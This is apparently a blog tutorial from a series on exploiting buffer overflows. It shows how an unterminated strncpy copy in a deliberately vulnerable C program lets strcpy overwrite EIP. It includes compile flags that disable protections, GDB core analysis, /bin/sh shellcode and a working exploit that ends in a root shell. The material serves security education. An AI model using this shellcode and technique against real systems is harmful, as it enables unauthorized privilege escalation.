This page looks best with JavaScript enabled

BoF second round, exploiting part 3

 ·  🎃 kr0m

In this article, we will see how it is possible to take advantage of a programming error that is not detectable at first glance. It is about copying data entered by a user into a variable. After all, it is just another buffer overflow, but it is curious how a software that seemed bombproof ends up posing a security problem for the system.

The code to be analyzed is the following:

vi overrun3.c

#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("buff_a is stored at %p.", &buff_a);
    printf("buff_b is stored at %p.", &buff_b);
    printf("buff_c is stored at %p.", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2", argv[0]);
        exit(0);
    }
    
    func(argv[1], argv[2]);
    return 0;
}

As we can see, I have inserted debug code that shows the address where each of the variables has been stored. It is also worth noting that the length of the data to be copied into these variables is controlled in buff_c and buff_b by strncpy(buff_c, str1, sizeof(buff_c)).

Although it may not be obvious at first glance, there is a problem with the above code. The variables in RAM are delimited by the \0 character. If the input in one of the variables overwrites this delimiter, the variable would end where the next \0 is found.

We could introduce a very long input as argv[1], which would be copied by strncpy(buff_c, str1, sizeof(buff_c)). Thus, the \0 delimiter would disappear, leaving the end of buff_c at the end of buff_b. There is no problem with buff_b since the data is copied in the following way: strncpy(buff_b, str2, sizeof(buff_b)-1). When copying buff_c into buff_a, buff_c+buff_b would be copied since it is where the first \0 delimiter is found. In this way, we can introduce our shellcode into buff_c, overwrite the EIP with this address, and thus obtain a bit of magic.

Normal state:

Without delimiter:

The first thing will be to compile our software:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack overrun3.c -o overrun3

We generate a coredump to analyze it later using GDB:

kr0m@reversedbox:~$ ulimit -c unlimited
kr0m@reversedbox:~$ ./overrun3 perl -e 'print "A"x48' perl -e 'print "B"x48'

 buff_a is stored at 0xbffff710.
 buff_b is stored at 0xbffff6f8.
 buff_c is stored at 0xbffff6d8.
Violación de segmento (`core' generado)

We find out the address where buff_c begins, despite having the printf to make sure, we will locate the address manually:

kr0m@reversedbox:~$ gdb -q -c core

[New LWP 4243]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()

The EIP has been overwritten with BBBBB…, we refine it a little more:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "A"x48' perl -e 'print "AAAABBBBCCCCDDDDEEEE"'

 buff_a is stored at 0xbffff730.
 buff_b is stored at 0xbffff718.
 buff_c is stored at 0xbffff6f8.
Violación de segmento (`core' generado)
kr0m@reversedbox:~$ gdb -q -c core
[New LWP 4248]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()

The EIP is being overwritten with the value of DDDD, now we put the shellcode in the first input parameter and find out the memory address where our shellcode is located:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10' perl -e 'print "AAAABBBBCCCCDDDDEEEE"'

 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.
Violación de segmento (`core' generado)
kr0m@reversedbox:~$ gdb -q -c core
[New LWP 3820]
Core was generated by `./overrun3 1É1À1?
 Qh//shh/binã?AAAAAAAAAA AAAABBBBCCCCDDDDEEEE'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()

If we look at the memory content at positions close to ESP, we can distinguish our shellcode:

(gdb) x/128x $esp-128

0xbffff6f0: 0xbffff740 0xbffff708 0x00000017 0xbffff7a4
0xbffff700: 0x08048230 0xbffff798 0xc031c931 0x0bb0d231
0xbffff710: 0x2f2f6851 0x2f686873 0x896e6962 0x4180cde3
0xbffff720: 0x41414141 0x41414141 0x41414141 0x42424242
(gdb) x/x 0xbffff708
0xbffff708: 0xc031c931

We run the software again but this time we will overwrite the EIP with the address of the beginning of the shellcode:

kr0m@reversedbox:~$ whoami

kr0m
kr0m@reversedbox:~$ ./overrun3 perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10' perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.

#
whoami
root

NOTE: If at any given time we have doubts about whether our shellcode is running, we can execute an INT3 (0xCC) as a test to ensure that the memory addresses are calculated correctly and that the EIP has been overwritten with the correct value:

kr0m@reversedbox:~$ ./overrun3 perl -e 'print "xcc" . "A"x31' perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'
 buff_a is stored at 0xbffff740.
 buff_b is stored at 0xbffff728.
 buff_c is stored at 0xbffff708.
`trap' para punto de parada/seguimiento

In this article we have learned how dangerous it can be to not control the length of user input. In this case, it was able to omit the character.

If you liked the article, you can treat me to a RedBull here